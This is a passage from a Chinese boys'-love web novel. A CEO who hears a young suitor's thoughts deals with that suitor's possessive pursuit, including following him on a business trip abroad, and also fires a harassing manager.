他调理好情绪,抹掉眼泪,颤声说:“我知道,我不会怪你的,如果没能追到你,那就是我做得不好。” 【哥哥让我追?岂不是说明我和别人是不一样的。呜……好开心,想抱住哥哥亲一口。】 季时昱真听不下去了,提醒道:“出去吧,我要工作了。” 闻湫的声音和心声偶尔叠加在一起,吵得他头痛,几乎分不出心思考。 “我今天走了,以后还有机会来找你吗?”闻湫不放心的问,“哥哥不会让前台拦着我吧?” 季时昱:“……”确实是这么打算的。 闻湫软下了声音:“哥哥,不要躲着我。” 季时昱:“看情况,有正事可以来。” 闻湫放心了,点点头,“那我走了。” 季时昱轻嗯一声。 闻湫三步一回头,特别不舍。 【早知道不说实话了,耍赖多缠哥哥一阵子,缠到他对我有感觉,这辈子别想摆脱我,眼里只能有我。如果让我发现哥哥看向了其他人,我……】 门打开,心声彻底消失。 季时昱抬起眼,看着重新被关上的那扇门,良久没有任何行动。 闻湫比他想象中的要偏激许多,但愿未来不会走向不好的结局。 没过多久,关秘书进来说了明天上午的机票时间。 季时昱轻轻颔首,抬眸看到关秘书还站在那里,问:“怎么了?” 关秘书知道不该过多关心其他人的事,但他今天实在没忍住,“小闻下午离开的时候好像哭了。” 季时昱:“我知道。” 关秘书:“我看到策划部的王经理给他递了纸巾。” 策划部的王经理年过半百,张了一副极其精明的面孔,关秘书不止一次听到过这位的桃色绯闻。 办公室里陷入寂静。 季时昱:“然后呢?” “小闻没理他,王经理想去摸小闻的手,小闻……给了他点教训,后面他自己没站稳又撞到了车上。这事儿不光彩,王经理没有到处说,自己一个人灰溜溜的去医院了。”关秘书几分钟前去车里拿东西,无意在停车场看到的。 季时昱眼神冷下来,“他目前在医院?” 关秘书:“应该在,不怎么确定。” 季时昱联系了关秘书口中的王经理,他随口问了两句话,对面把地址和病床号说了出来。 “你和我去医院看他。”季时昱起身,眼底的寒意愈发浓重。 关秘书:“好的。” 晚上。 季时昱从住院部的电梯里出来,看了眼病房门上的床号,左转往前走。 关秘书提着精美的水果篮跟在他身后。 他们到了王经理所在的病房,坐在病床上的人鼻青脸肿,额头上包了一层厚厚的纱布。 “季总,麻烦您大老远跑过来了,您瞧这事儿弄的,我都不好意思往外说。”王经理干笑了几声。 王经理跟季时昱说他从楼梯上摔下来了,碰到了头,没有提到任何关于闻湫的事。 季时昱偏头给了关秘书一个眼神,后者放下果篮出去了,王经理见状,同样给看护自己的小情人使了个眼神,坐在病床前的小男生起身往外走。 门关上,隔绝了外面的声音。 王经理忐忑笑道:“季总,您找我有什么事吗?” 季时昱看了眼屋里的椅子,嫌脏,没有坐。他站在原地,瞧着王经理脸上的伤,道:“脸上的伤还不够严重。” “……啊?”王经理懵了,心想季总是不是说错话了,他脸都疼肿了,不应该说他伤得很重吗? 过了片刻,王经理意识到季时昱可能知道傍晚的事了,倏地一激灵,连忙吐苦水:“哎呦季总,您误会了,我跟那孩子一点关系都没有啊!他是不是跟您说我坏话了!” 季时昱眼神冷漠,“我有说过闻湫吗?你在急什么?” 王经理傻眼了,额头出了汗,“我……” 季时昱:“考虑好再说。” 王经理清楚季时昱的手段,但他不敢说实话,咬死刚才的说法,“我跟闻湫从头到尾没说过几句话,他若真在您面前告我的状了,我只能说我是被他冤枉的!您别轻信!” 季时昱讥讽道:“谁稀罕冤枉你这种脏东西。” 王经理第一次见到这样的季时昱,震惊的说不出话。 季时昱道出王经理的烂事:“别以为我不知道你在外面惹了多少事儿,年前好几个人找到季氏楼下,全被你的人强行带走了。” 王经理着急解释:“季总您误会了,都是他们缠着我不放!” “你哪来的脸说出这种话?”季时昱上下打量王经理,像是看到了垃圾,“本来打算收拾完其他烂摊子再来收拾你,既然你这么着急,明天就不用来季氏了。” 他转身离开,王经理猛地从床上跳下来,脚刚落地,眼前一黑栽倒在地上,幸亏及时用手撑住了地,不然能磕晕过去。 “季总!我是被冤枉的啊季总!您别信闻湫啊,他都是骗您的!小小年纪满口谎话,这种人留在身边最危险了,您不能听信他的一面之词!”王经理趴在地上凄声大喊。 季时昱开门出去,王经理的声音瞬间传遍走廊。 关秘书脸色不变,淡定跟着季时昱离开。 王经理的小情人在门口犹豫了一会儿,还是选择进去扶起王经理。 王经理一把推开他,骂道:“你个没眼色的东西,还不快点去拦住季总!” 动静太大,很快就有护士跑了过来。 季时昱和关秘书出了医院,让司机先送关秘书回去。 “我不着急,先送您回去吧。”关秘书看出了季时昱心情不佳。 季时昱:“先送你。” 司机自然听季时昱的话。 车里静得压抑。 关秘书不声不吭,他在病房外面听到了一些声音,知道季时昱要怎么处理,正在纠结要不要跟闻湫说一声。 司机把关秘书送到地方,关秘书下车时,听到季时昱说:“今天的事保密。” 关秘书迟疑点头,“好的。” 车再次开动,季时昱单独坐在后面,缓缓呼出了一口气。 他没有向闻湫询问今天的事,也不知道该如何开口。回到家,微信里收到了闻湫的消息。 【哥哥。】 【我明天要开始追你了。】 季时昱看了许久,没有回复。 他放下手机去浴室冲了个澡,出来后,闻湫又发来了两条消息。 【我知道你去医院的事了。】 【谢谢哥哥。】 次日。 公司的人早上得到消息,一整天都在议论王经理的事,他们不知道王经理为什么会被辞退,但他们一致拍手叫好! 很多人早看姓王的不顺眼了,这种大喜事一出,许多部门的气氛堪比过年。 关秘书心情也跟着变好了,他昨晚纠结了一个晚上,还是听了季总的话没往外说,没想到今早闻湫专门来问了。 是闻湫专门来问的,不是他主动往外说的,关秘书只好把昨天的事情说了出来,还转达了一些在病房外听到的话。 事情说开,关秘书心里好受多了。 新秘书今天入职,跟着关秘书在公司转了一圈,大致了解完各个部门后,得知关秘书要和季总一起出差。 关秘书:“小安,你要保持手机有充足的电量,保证季总能够随时联系到你,我和季总过几天就回来了,这期间有许多工作会压在你身上,你有哪里搞不懂就问我,别不好意思。” 安秘书点头,推了推有点往下滑的眼镜,“我明白了。” 临近中午,关秘书坐车和季时昱一起去了机场。 登机之前,关秘书接到了前台的电话,说了几句后,挂断电话看向季时昱。 季时昱察觉到关秘书的目光,抬起头,“有事直说。” 关秘书:“有人给您送了花,现在正在前台放着。” 季时昱:“不用管。” 关秘书:“好的。” 真是罕见,季总居然没说扔了。 他们登上飞机不久后,身穿墨青大衣的青年现身,戴好口罩,背着包登上了眼前这架飞机。 一晃十多个小时过去。 季时昱没休息,可能是受闻湫的影响,这两天的睡眠不太好,总是睡不着,每次闭上眼就会想起原书的结局。 下飞机时,他瞥见一道熟悉的身影,偏头看去,入眼是两个陌生人,视线在周围扫视一圈,并没有发现令他熟悉的身影。 关秘书停下脚步,不解问道:“季总,怎么了?” 季时昱摇了摇头,“没事。” 二人离开不久,一道墨青色身影背着包从人多的地方走了出来。 季时昱下午有一场应酬,回酒店小歇了一会儿,在套房里叫了餐,临近傍晚换了身西装出来。 关秘书提着公文包跟在他身后,嘴里汇报着项目的进度问题。 季时昱出了酒店,走到前面所停的黑色车辆旁。司机在他出来的那一刻起,就下车帮他开好了车门。 他上了车,接过关秘书递来的公文包,“你告诉米切尔,明天上午九点我要看到他的最终方案。” “好的,我待会儿转告他。”关秘书不放心多了句嘴,“真不用我跟着吗,听说您上次就在他那儿喝醉了。” 季时昱:“有小金在,没事。” 小金是今晚开车的司机,同样是华人,今年二十二岁,身强体壮,模样有些凶。 关秘书忧心忡忡地点头,走到前面对小金叮嘱了几句话。 晚上。 季时昱果不其然喝醉了,好在小金足够强壮,轻轻松松搀扶着他往外走。 他们推门出去,一只手伸了过来,用力掰开小金的手,接着把人推开,另一只手自然而然地揽住了季时昱的肩膀。 “哎你这人……”小金揉着被推痛的肩膀抬起头,看见眼前的人后愣了下,“小闻助理,怎么是你啊。” 闻湫对他点头,眼里透着难以察觉的寒意,“我扶着季总,你去把车开过来。” 有人帮忙,小金自然乐意,“麻烦你了,我去前面开车。” 两个养眼的帅哥站在一起,餐厅的光照在他们身上,隐匿在黑夜与光亮之间的五官更加立体,身形修长清隽,路过的人忍不住回头多看两眼。 闻湫揽着季时昱的腰,后者低头,不自觉地向他靠去,脑袋枕在肩膀,镜框有点歪。 闻湫摘下了季时昱鼻梁上的眼镜,轻声说:“哥哥,什么时候才能有防备心呢。” 季时昱醉了,但他没有昏睡过去,只是反应有点慢,听到熟悉的声音,恍惚抬起头,还没看到身边的人是谁,一只手按住了他的脑袋,腰间的手臂收紧,整个人被圈进了男人温暖的怀里。 他微睁开眸子,眼底透着醉意,“闻湫?” “我在呢,哥哥。”闻湫低头轻嗅,闻到了一股清淡的洗发水味道。 说不出什么味道,就是很好闻,不知道是什么牌子的。 季时昱想推开闻湫,发软的胳膊使不出力,他侧脸贴在闻湫的肩膀,说话时,温热的吐息喷洒在了闻湫脖子上。 “你跟踪我?” 后脑的那只手微微使力按着,导致他抬不起头,只能维持着这个姿势来问话,不等闻湫说话,他语气冷了下来,“松开。” “对不起,我看你穿得太薄了,耳朵都冻红了,想给你暖暖。”闻湫松开手,小心翼翼道:“是我错了,哥哥别生气。” 季时昱从闻湫怀里退出去,站着没动,也没说话,他感受到了轻微的眩晕,毫不怀疑自己再往前走一步就会栽倒在地上。 他问:“你怎么会在这里?” 闻湫:“我来这边玩。” 季时昱笑了声,“我很好骗?” 闻湫目不转睛盯着他,视线像湿濡黏腻的舌尖,不断舔舐着眼前这张脸,说:“这就是实话,你为什么不相信我?” 季时昱头晕目眩,看不清前面走过去的路人,重叠的身影让他忍不住晃了晃头,眼前的重影依旧很多,甚至站不稳,脚步踉跄了一下。 闻湫及时上前扶住了他,双手圈住他的腰,姿态亲昵地跟他贴在一起,“哥哥,你醉了,让我扶着你吧。” 季时昱靠在闻湫的肩头,没有吭声,或者说根本没有听清闻湫说了什么,他的意识在模糊,耳畔的声音像是罩了层玻璃盖子,听得很不真切。 他鼻尖萦绕着一股清冽的味道,有些上瘾似的深呼吸了几次。 闻湫默默听着他加重的呼吸,眼神晦暗,“哥哥,你不舒服吗?” 季时昱嗅着鼻尖的味道,手指抓住了闻湫的胳膊,想要更用力的拥有那股清冽,只有那样,被酒精烧灼的胃部才能有所缓解。 “很好闻。”他含糊说出了感受。 闻湫没听清,“什么?” 季时昱却不说话了。 闻湫轻轻拍着他的后背,像哄小孩儿那样问:“哥哥,你刚才说什么啊?” 季时昱脸颊贴着他的衣服摇了摇头,“没什么。” 小金开车到了他们面前,打开车窗,道:“小闻助理,麻烦你把季总送上车吧。” 闻湫颔首,揽着季时昱的肩膀一起上了车。 小金:“小闻助理,你怎么突然过来了。” 闻湫:“季总让我在外面等着他。” “原来是这样,看来季总真的很信任你。”小金毫不怀疑闻湫的话。 小金送他们回酒店,快到地方时接到了关秘书的电话,问他们结束了没有。 小金:“我们快到酒店了。” 关秘书:“季总喝醉了吗?” 小金:“醉了,还好有小闻助理帮忙扶着。” “闻湫?他怎么也在。”关秘书有些疑惑,“你们快到酒店了?” 小金:“季总喊他来的,我们大概还有十分钟的路程。” 关秘书:“好,那我一会儿下去等你们。” 电话挂断,后座的闻湫面不改色,他在季时昱面前都露脸了,怎么可能担心关秘书知道。 车开到酒店,一眼看到了关秘书的身影。 闻湫看着熟睡的季时昱,轻声唤道:“季总,我们到了。” 季时昱毫无反应,闻湫又喊了一声。 小金:“小闻助理,你可以架着季总下车,我以前都这样。” 闻湫点头,先打开了车门下去,随后弯下腰,半个身体探进车里,拉着季时昱的胳膊架在肩膀上往外带。 关秘书走了过来,问:“小闻,你怎么会在这儿?” 闻湫稳稳架着季时昱,笑道:“我和家人来这边玩几天,没想到在餐厅碰到季总了,他让我在附近等他一会儿。” 开车的小金跟着点头,没觉得哪里有问题。 “这样啊,还挺巧的。”关秘书没有怀疑,帮忙扶住季时昱另外半边身体,回头对小金说,“你回去吧,明天的行程晚点发给你。” 小金开车走了。 闻湫盯着关秘书的手,眼神微凉,温声说:“关哥,我扶着季总就好,我们步调不一致,季总被两个人扶着好像不太舒服。” 关秘书:“也对,那你让我扶着,你本来就是来玩的,我怎么好意思让你帮忙呢。” 闻湫拿开关秘书的手,面带善意笑道:“我来。” 关秘书察觉到他语气有点不对,又说不出哪里有问题,站在原地发了会儿愣,再一抬头发现前面两个人已经走远了,连忙抬起脚步跟上去。 关秘书跟在他们身后,说:“今晚要见的那位合作商不喜欢有外人跟着,要不然我肯定守在季总身边,这样就不用麻烦你了。” 闻湫:“不麻烦。” 关秘书:“你怎么跟家里人来这里旅游了,年前不是才来过吗?” 闻湫:“那时候是为了工作,没怎么玩。” 关秘书就这样和闻湫聊了一路。 到了电梯,关秘书又要去扶季时昱,“小闻,让我来扶季总吧,现在太晚了,你该回去了。” 闻湫不动声色地带着季时昱走进电梯,微微一笑:“关秘书,我也住这里。” 关秘书有点诧异了,“这么巧?” 闻湫:“我和季总来这边出差第一晚就住在了这里,卫生打扫得不错,所以我订了这家的房。” 关秘书:“原来是这样。” 接下来,关秘书发现闻湫和他们住在同一层,他再次在心里感叹太巧了。几分钟后,他亲眼看着闻湫从季时昱那间套房里出来,然后刷卡进了斜对面的房间,他彻底傻眼了。 真有巧成这样的事? 第29章 你教教我 我很乖的,多看看我吧 关秘书是心大, 可他不傻,抱着怀疑回了房间,犹豫是否要说出来。 套房内。 卧室漆黑寂静,躺在床上的人睁开眼睛, 翻身望着枕边因为信息亮起来的手机屏幕。 季时昱是被闻湫揽下车前醒来的, 他想看看闻湫能对关秘书编到什么程度, 于是接着装睡。看来今天中午在机场看到的熟悉身影就是闻湫,他没有看错。 同航班,恰巧碰到喝醉的他,又住在他对面。这不是巧合, 而是跟踪。 他在床上躺了几分钟, 起身脱下带着冷意和酒味的外套, 头特别晕, 完全不能直立起身体,干脆躺下接着睡了。 黑夜悄然离去, 天边泛起鱼肚白, 太阳逐渐升起,厚重的窗帘遮掩住阳光,一缕光亮从窗帘下面的缝隙中透出。 关秘书没有睡好, 醒来后接到季时昱的电话,立即将闻湫的事说了出来。 季时昱:“我知道,你不用管。” 关秘书闻言, 暂时放心了。 上午九点多,他们来到了分部。 经过上次的事, 这边的工作氛围有所改变,关系户被辞退,留给员工的是公平公正的晋升机会, 工作时没之前那么敷衍了。 下午,公司高层开了场会议,结束之后,身穿灰色西装的男人来到季时昱面前,问:“闻助理怎么没有跟着来?” 季时昱:“找他有事?” 李致昂笑道:“我这不是没见过会做饭还帮忙干家务的助理嘛,你要是哪天把人辞退了跟我说一声,我花高价也要把他聘请过来,上次跟你蹭了顿饭,我到现在还想着那个味道。” “别想了,他是个学生。”季时昱合上文件。 “学生好办啊,你告诉我他是哪个学校的,我身边有个职位专门给他留着,我不信他会拒绝。”李致昂对闻湫的厨艺很感兴趣。 季时昱起身离开,“无可奉告。” “季总,您这就狭隘了,这样的人要好好珍惜啊,况且他工作能力不错,什么都懂什么都会,你不跟我说,我就自己去查了。”李致昂紧跟在季时昱身后。 季时昱:“少干扰他,他现在最重要的是好好完成学业。” 李致昂:“我给他机会怎么就是干扰他了,说到底还是你不愿意放人。” 季时昱见他不依不挠,顺着他的话点头:“你知道就好。” “季总,你藏得可真深啊,我过年那阵子回国听到别人说你谈了个小男友,我还不相信,看来这个人就是闻助理。”李致昂啧了声,一脸八卦:“他还是个学生,他怎么下得去手的啊。” 季时昱:“你要是没事就去把策划案写了,我花高价把你挖过来不是让你来玩的。” “早写好了,我办事你放心。” 李致昂是季时昱半年前挖过来的,上次清理齐远骏等人,李致昂没少出力,并且成功取代了齐远骏的位置,而且他有这个实力。 季时昱和李致昂是同龄人,高中同班过𝔀.𝓵一段时间,分班后保持着普通朋友的联系,直到季时昱把人挖到分部,关系有了进一步的突破,算是可以坐在一起喝酒的朋友了。 他们进了办公室,关秘书紧跟着而来汇报工作。 李致昂走到落地窗前往下看,突然‘咦’了声,“季总,我看到你家小助理了。” 季时昱动作微滞,接着对关秘书叮嘱事情。 关秘书认真听着,时不时点头。 “他上来了。”李致昂说。 季时昱面不改色地叮嘱完最后一项,关秘书准备离开,他先一步说道:“等会儿闻湫来了,你告诉他我不在。” 关秘书点头:“好的。” 关秘书离开后,李致昂迫不及待坐到了季时昱面前,“你不给我他的联系方式,他自己却找上门来了。等他上来了我去找他要,你可别拦着我。” 季时昱抬眸,“你可以试试,他答应了才奇怪。” “现在工作不好找,那么好的机会摆在眼前,除非他有更好的选择。”李致昂自信笑道:“我猜他不会遇到比这次还好的机会了,他一定会同意的。” 季时昱:“祝你成功。” “借你吉言。”李致昂整理了一下领带,正要出去,只见办公室的门开了。 关秘书:“季总,闻湫好像有很重要的事要跟您说。” 因为很重要,关秘书怎么着都要来说一声。 季时昱:“不是让你跟他说我不在吗。” 关秘书:“我说了,他想来办公室等着您,我让他回去他不听,我就说先打电话问问您的意见。” 李致昂:“不如让他进来吧,我刚好有事要找他。” 关秘书看向季时昱。 季时昱起身,“行,我去里面待着。” 他也想听听闻湫怎么说,办公室后面有间休息室,进去后方便窃听李致昂和闻湫讲话。 关秘书见状,出门去喊人。 李致昂坐在季时昱才离开不久的位置上。 很快,有人推门进来了。 闻湫看到办公室里坐着的人,眼底的阴沉一闪而过,扬起笑脸,“李总。” 他走到茶几桌前坐下,没有多看李致昂一眼。 李致昂心里怪怪的,明明对他笑了,可他就是觉得那个笑容有点想把他揍一顿的意思。 休息室。 季时昱坐在沙发上,拿着静音的手机玩单机游戏,手指一阵乱点,心思全在外面的对话上面。 李致昂跟闻湫说了自己的想法。 闻湫拒绝了。 李致昂:“为什么?这对你来说是个很好的机会。” “这是机会?”闻湫反问,说:“听李总的话,好像更希望我能成为你的生活助理,每天照顾你的生活起居。” 李致昂:“你误会了,那些是另带的,更何况我会给你加薪,当初季总……” 闻湫打断他,“季总是季总,他不一样。” “哦,所以你和季总真是那种关系?”李致昂反过来诈话。 待在屋内的季时昱眼皮微抬,手指停在屏幕上放没有按下去,不多时,听到了闻湫的否认。 “是我单方面追求季总,你不要乱说。” 他接着玩游戏。 外面,李致昂笑了:“季总知道吗?” 闻湫看向他摸着鼠标的手,眼底寒意快要掩饰不住,“当然。” 李致昂毫无察觉,打趣道:“他知道还把你留在身边,你们俩果然有事儿。” 闻湫微笑:“你爱怎么想就怎么想,反正我没乱说。” “那好,我们说回原来的话题。”李致昂坐正,问:“关于助理的事,你不多考虑一下?” 闻湫:“不考虑。” 李致昂:“这可是……” “别废话了,麻烦你从季总的位置上离开。”闻湫忍着要去把人拉开的冲动,冷声说:“季总不喜欢别人触碰他的东西。” 李致昂挑了挑眉,没有动,“我凭什么听你的。” 闻湫嘴角微启,话未出口,余光瞥到里面的那扇门开了,神情微顿,随后喜笑颜开,“哥哥。” 李致昂撇了下嘴,叫这么甜,生怕别人不知道他抱了什么心思。 “你先出去。”季时昱对李致昂说。 李致昂起身,凑到季时昱跟前,低声说:“我是为了试探他,不是有意要坐到你椅子上的。” 季时昱颔首。 李致昂回头,意味深长地对闻湫笑了下,毫不意外在他眼里看到了近乎发狂的嫉恨,心想小狼狗占有欲真强,哪天翻车就惨喽。 他哼着当下流行的音乐离开了办公室。 门关上,闻湫看着季时昱,哪怕猜到了怎么回事,还是委屈巴巴地抱怨出来,“哥哥,关秘书说你不在办公室。” 季时昱看了眼李致昂坐过的椅子,身体向后靠,半坐在了办公桌上,“他不知道我在休息室,听关秘书说,你有重要的事找我?” 闻湫眨了眨眼睛,道:“我想你了。” 【好想好想,看不到哥哥好难受,全身上下都在想。什么时候才能过上每天睁眼就能看到哥哥的日子啊。】 门窗关着,没有外人,闻湫的心声自然暴露了。 季时昱为他执拗的想法感到无奈,长睫微敛,道:“我很忙。” 闻湫装作没听到,问:“哥哥刚才听到李总说了什么吗?” 季时昱眼皮微抬,似是疑惑。 闻湫表现出一副乖乖的模样儿,不好意思地笑了,“李总说我们之间有事儿,我没有乱说哦,都是他说的。” 若李致昂在这里,一定会指着闻湫大喊:你个小绿茶!我都走了还不忘阴我! 可惜办公室里只有两个人。 季时昱嗯了声:“听到了。” 闻湫:“哥哥,我很乖的。” 【我很乖的,多看看我吧,在一起后我会更乖的,让我干什么都可以。】 周围静了一会儿。 【不说话的哥哥也好好看。】 季时昱抿了抿嘴,换了种让闻湫保持距离的方式,“追人不是死缠烂打,你需要用正确的方法行动。” 闻湫蹙眉,说:“网上说,追人要厚脸皮一点。” 季时昱摇头:“缠太紧了会适得其反。” “那我要怎么做,你喜欢什么样的方法?”闻湫有些苦恼,“我可以试着学。” 季时昱没办法直接让闻湫打消念头,道:“首先,你要尊重我,给我适当的空间,你缠我太紧,说不定有天我就厌恶你了。” 【厌恶?】 【不,他怎么可能会厌恶我,不可能的。】 【呜呜我不想被厌恶,我会疯的,哥哥最近怎么老说这种让人伤心的话。】 “我会学会控制的,我以后一定不……不随便出现在你面前。”闻湫笑得很勉强,乌黑眸底深处酝酿着巨大风暴。 这时,李致昂敲门进来。 “季总,有点急事。”他看了闻湫一眼,意思很明显。 闻湫识趣起身,“那我先走了。” 季时昱和李致昂待在办公室商讨事情. 季时昱原本计划在两天之内解决完这边的事,谁知事情中途发生了变化,好在不是坏事,而是有利于分部的大好事。 他要谈个项目,对方是华国人,地址约在了一家咖啡店。 季时昱晚上带关秘书到达咖啡店,看到前面坐着的女人,稍微停顿一瞬,垂目掩饰住眸底的意想不到,淡定走了过去。 “殷总,幸会。” 被他称呼为殷总的女人穿了身严谨的白色女士西装,同样没料到会见到他,眼底闪过诧异,反应过来后对他微微颔首,“幸会。” 和上次见面比起来,今天的殷女士更加严肃且公事公办,有了对比,才知晓那天的她穿着已经足够休闲了。 谈了两个多小时,项目顺利谈成,殷女士端起美式喝了一口,道:“闻湫能够跟在你身边学习,我很放心。说起来可笑,我和他父亲这一年里总在想方设法的培养他,可惜他不肯配合我们。” 季时昱没有对闻湫的行为作出评价。 关秘书有点惊讶,完全不敢相信眼前的人居然是闻湫的母亲,他好歹是经历过大事的人,完美掩饰着眼底的情绪。 原来闻湫真的是跟家里人一起来的,他还以为是专门跟踪季总呢,前两天晚上没少对闻湫恶意揣测。 “你和我大儿子一样优秀,只不过他比你冷太多了,就像捂不化的冰块,我和他爸很少见他笑过。”殷女士终于露出了严肃之外的表情,无奈叹道:“我让闻湫把他哥哥当成榜样,但他们兄弟俩相处的很差,闻湫也不如我希望的那样优秀。” 季时昱敏锐捕捉到殷女士对待两个儿子的不同,提到闻湫说父亲,换成大儿子却说爸,这两个称呼虽是一样的意思,实则其中差了很多感情。 殷女士看出他不想谈,便不多说,“既然事情顺利谈成,今天就到这吧。” 季时昱站起身,与殷女士握了下手。 二人一同往外走,关秘书拿起公文包,对殷女士的助理点了下头。 出了咖啡店,殷女士想起件事儿,停下了脚步。 季时昱和殷女士在合作中不分高低,但岳裎母亲介绍他们认识过,这其中就多了层关系在,现下长辈不走,他便停了下来。 上司都停了,作为秘书和助理,身后的两个人站在后面没有动。 殷女士看向季时昱,眼中多了分狐疑,“说起来,我第一次听到你名字的时候,就觉得很熟悉,你很久以前去过S市吗?” 季时昱敛眸,“您说的是多少年前?” 殷女士想了一下,“大概是十几年前,你有没有把一个小孩子送到过公安局?” 季时昱拧眉,不太明白她为什么这么问,十几年前的事情谁能记那么清楚。 没有说具体的年份,很难想到关键,对于送小孩到公安局的事没有任何相关记忆。 殷女士看他这样,懂了,“我没有别的意思,只是随口一问,你不用放在心上。” “您口中那个孩子是谁?”季时昱知道殷女士不会无缘无故问这些。 殷女士:“是闻湫。” 季时昱没有太意外。 殷女士笑道:“可能是我记错名字了,我的车来了,我们下次再见。” 一辆车开到了他们面前,殷女士和助理上了那辆车。 季时昱试着回想十几年前的事,可惜毫无印象,不过他曾在十四年前频繁去过S市,那年他十一岁。 原因是季任烽和闫絮那年闹矛盾分居了,闫絮独自一个人待在S市静心,季时昱那年每遇到假期就会前往S市找闫絮。 他在那年最深的印象是,爸妈吵架分居再和好,以至于其他事情显得没那么重要,久而久之便淡忘了。 “季总,车到了。” 关秘书的声音把季时昱拉回了神,二人一前一后上了车。 季时昱回到酒店,刷了房卡打开门,却没有动。他回头看着斜对面的那扇门,原地站了一会儿,那扇门开了。 “哥哥?” 闻湫没料到一开门就能看到他。 季时昱转过身,说:“我今天见到你妈妈了。” 闻湫显然比他还要诧异。 季时昱在想,十四年前的闻湫才五岁,五岁已经开始记事了,只不过记忆会很模糊,不清楚闻湫是否记得。 闻湫见季时昱不再说话,问:“她和你说了什么?” 季时昱:“她问我,十几年前有没有去过S市。” 闻湫眼底毫无波动,笑着问:“那哥哥有去过吗?” 季时昱摇了下头,“记不清了。” 摇头的一瞬间,他从闻湫眼中捕捉到一抹难以察觉的黯然,稍纵即逝地闪过去,速度快得仿佛是他看错了一样。 这点反应足以给出答案。 闻湫不仅清楚记得,并且对他忘却那件事而感到失落。 季时昱敛下若有所思地目光,事关闻湫,闻湫的母亲或许会记错,亲身经历过那件事的闻湫会吗? 答案是不可能,或许当年他真的把一个孩子送到过公安局,留下了自己的名字,或许还发生了一些意想不到的事。 “我明天回国,你不用每天这么蹲我了。“季时昱撂下一句话,推门进了房间。 关门的刹那,一只脚抵在门前,闻湫伸手阻拦,固执问道:“哥哥,你真的不记得了?” “不记得了。”季时昱眼中无波无澜。 “没关系,那都是过去的事了,其实我也记不太清了。”闻湫坦然说着,有一瞬间没能掩饰住眼底的扭曲,很快便被委屈所取代,“我最近在乖乖听你的话,都没有像以前那样缠着你了,你不夸夸我吗?” 在办公室说开那天以外,闻湫其他时候没有在季时昱面前露过面,季时昱更没有看到过其他可疑的身影和车辆,闻湫真的在乖乖听他的话。 “嗯,这样很好,继续保持。”季时昱不吝啬地夸赞,不给点甜头儿,有人又要胡思乱想了。 “我会保持住的,你平常没事可以多看看我,多和我聊聊天,这样我会保持得更好。”闻湫温声诱导,模样无辜。 “哥哥,我没有追过人,肯定会有很多地方做得不对,如果我做错了,你能不能不要生我的气。” “实在不行,你教教我,我会认真学习。” 闻湫太懂怎么利用自己的容貌了,他早知道季时昱是颜控,专门在私底下练了很久如何让人心软的表情。 就如此刻,他眉头轻蹙,瞳仁被一层朦胧的雾气覆盖,凄楚可怜地望着季时昱,仿佛真的不知道该怎么办了,只有季时昱一个人才是他的主心骨。 季时昱的确被吸引的移不开眼,却远没有到心动的地步,只是寻常人看到漂亮的事物后,心里会下意识多几分喜爱罢了。 他轻笑了声:“你的意思是,让我教你追我自己?” 闻湫点点脑袋:“不可以吗?” “不可以。”季时昱笑意收敛,扫了眼他拦着门的那只手,“松开,我要休息了。” 闻湫失落松开了手,往后退一步,“你休息吧,我不打扰你了。” 季时昱看他站在门外没有打算离开的意思,没有心软,默默关上了门。 现在不是躲不躲的问题,更不是怕结局会两败俱伤,而是他对闻湫没有那种感情,勉强不来。 现在时间还不晚,外面的天蓦然阴下来,没过多久下起了小雨。 下午四点多,外面犹如黑夜。 关秘书翻阅着文件从隔壁开门出来,下意识往左拐,默念着文件上的字,余光扫到前面站了道黑色的身影。 关秘书抬头,困惑道:“小闻,你在季总门口干什么?” 闻湫转过身,笑道:“在想怎么追他。” 关秘书傻眼:“……啊?“ 小闻喜欢……季总?! 闻湫:“关秘书是来送文件的吗?” 关秘书愣怔点头。 闻湫伸手去拿那份文件,“我帮你。” 关秘书及时躲开,干笑了一声,“不麻烦了,我还要和季总开个会,小闻你快回去休息吧。”他想去敲门,却没有动,因为闻湫正靠着那扇门。 “小闻,你先让让。”他含蓄道。 闻湫盯着他手里的文件看了几秒,神色有些冷,默默抬起脚步走向了斜对面。 关秘书站在门口,亲眼看着闻湫进了对面的房间,才抬起手敲响眼前的这扇门。 门开的很快,季时昱刚洗了个澡,穿着黑色浴袍,“进来。” 关秘书进屋,反手关门。 季时昱去卧室里换身衣服,出来后走到茶几桌前坐下,打开电脑。 关秘书想起在外面看到的那一幕,如实说道:“季总,小闻刚才在门口。” 季时昱嗯了声,没有其他反应。 关秘书没再吭声了。 季时昱和几位高层开了场视频会议,关秘书坐在他旁边没有入镜,时不时出声说几句话。 会议持续了三个多小时才结束,时间已然来到了晚上。 关秘书扭了扭脖子,捏着僵硬的肩膀站起来,“季总,如果没别的事,我先回去了。” 季时昱:“把文件留下。” “好的。”关秘书转身离开。 季时昱坐在原位上,翻开文件仔细看着,忽然间,他听到关秘书惊呼了一声。 他往那边看去,“怎么了?” 门口的关秘书拍着胸口,心有余悸地看了眼对面,摇着头道:“没事没事,应该是我看错了。” 刚才走廊头顶的灯光闪了一下,他好像看到斜对面的门露出一道有些宽的缝隙,对上了一双充斥着阴沉的赤红双眼,里面包含了满满的妒意和不甘。 他吓了一跳,心脏都停滞了,再抬头却看到那扇门关着,期间没有听到任何关门的声音。 关秘书想着应该是这几天忙太狠了,没有休息好所以产生了幻觉. 季时昱回国当天没有看到闻湫的身影,他以为凭着闻湫的性格一定会偷偷跟着他,警惕观察了一路,没有发现可疑的身影。 登机前,他收到了闻湫妈妈的微信消息。 【抱歉,我不知道他这几天一直跟着你,我会严加管教他。】 第30章 只想陪你 哥哥怎么可以随便对别人笑 季时昱盯着那行字多看了一会儿, 收起手机,没回消息。 关秘书昨晚做了个噩梦,今天状态不太好,刚登机就闭眼休息了。 十多个小时过去, 飞机抵达A市。 季时昱在机场里拉着行李往外走, 耳畔的手机话筒里传来岳裎的声音, 他抬头扫了眼周围的人。 岳裎在左前方对他招了招手。 他挂了电话,往那边走,到了岳裎面前,问:“真要订婚?” 他在国外待了几天, 岳裎不声不响地和别人联姻了, 明天订婚, 一切办得特别着急, 好在钱多,有人愿意加急布置场景。 岳裎愉悦笑道:“真订婚。” 季时昱见他不像是被家里强迫的样子, 好奇道:“和谁?” “前男友。哦对了, 我还喊了个人来,一会儿让关秘书坐他的车回去。”岳裎转着手里的车钥匙,“谁能想到他会是秦家的私生子呢, 秦家把他接回来让他联姻,我不是对他没死心吗,碰到这个机会立马迎上去了。” 关秘书跟在他们身后听八卦。 季时昱没能确定是谁, “你哪个前男友?” 岳裎:“前男友,你说呢。” 不是前前男友, 也不是前前前男友。 